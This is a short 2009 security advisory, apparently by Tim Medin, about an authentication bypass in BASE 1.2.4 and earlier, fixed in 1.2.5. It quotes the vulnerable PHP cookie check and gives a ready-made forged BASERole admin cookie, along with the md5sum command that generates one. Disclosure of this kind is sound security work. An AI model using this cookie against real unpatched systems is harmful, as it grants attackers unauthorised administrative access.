BASE <= 1.2.4 (Auth Bypass) Insecure Cookie Handling Vulnerability

2009-06-24 19:04:13

Versions prior to 1.2.4 are affected. The issue was fixed in version 1.2.5.

The authentication process checks the cookies to see if the user has a
given role. The user and role defined in the cookie is not validated
during this process. An attacker can add a cookie (shown below) in order
to bypass authentication.

BASERole=10000|nidem|794b69ad33015df95578d5f4a19d390e;


Explanation:
Each page checks to see if the user is has sufficent privledges. The
user's role is checked using the hasRole method which then calls the
readRoleCookie method. The code below is the readRoleCookie method as
written in includes/base_auth.inc.php in rev 1.23 and earlier. This
function retrieves the role of the user as read from the cookie. The
cookie contains three pieces of information role, user, and md5 hash and
is delimited by the pipe character.

function readRoleCookie()
{
// reads the roleCookie and returns the role id
$cookievalue = @$_COOKIE['BASERole'];
$cookiearr = explode('|', $cookievalue);
$role = $cookiearr[0];
$user = $cookiearr[1];
if ($cookiearr[2] != (md5($role . $user . "BASEUserRole")))
{
return "BAD Role";
}

return $role;
}


Prior to revision 1.24, the readRoleCookie above did not validate the
user, role, or password against the database. In order to bypass
authentication the BASERole cookie needs to be added to set the user
role. The cookie is in the format of role|user|md5hash. The md5 hash
required to pass authentication is taken the concatenation of the role
(10000), the username (arbitrary), and the string "BASEUserRole".

Since the name is not validated against the database we can use any
name. If we select an arbitrary username of nidem we can get the hash
value by running the following command from the command line:
echo -n 10000nidemBASEUserRole | md5sum

This command returns a string of 794b69ad33015df95578d5f4a19d390e.
This results in a cookie value of:
10000|nidem|794b69ad33015df95578d5f4a19d390e


-Tim Medin

#

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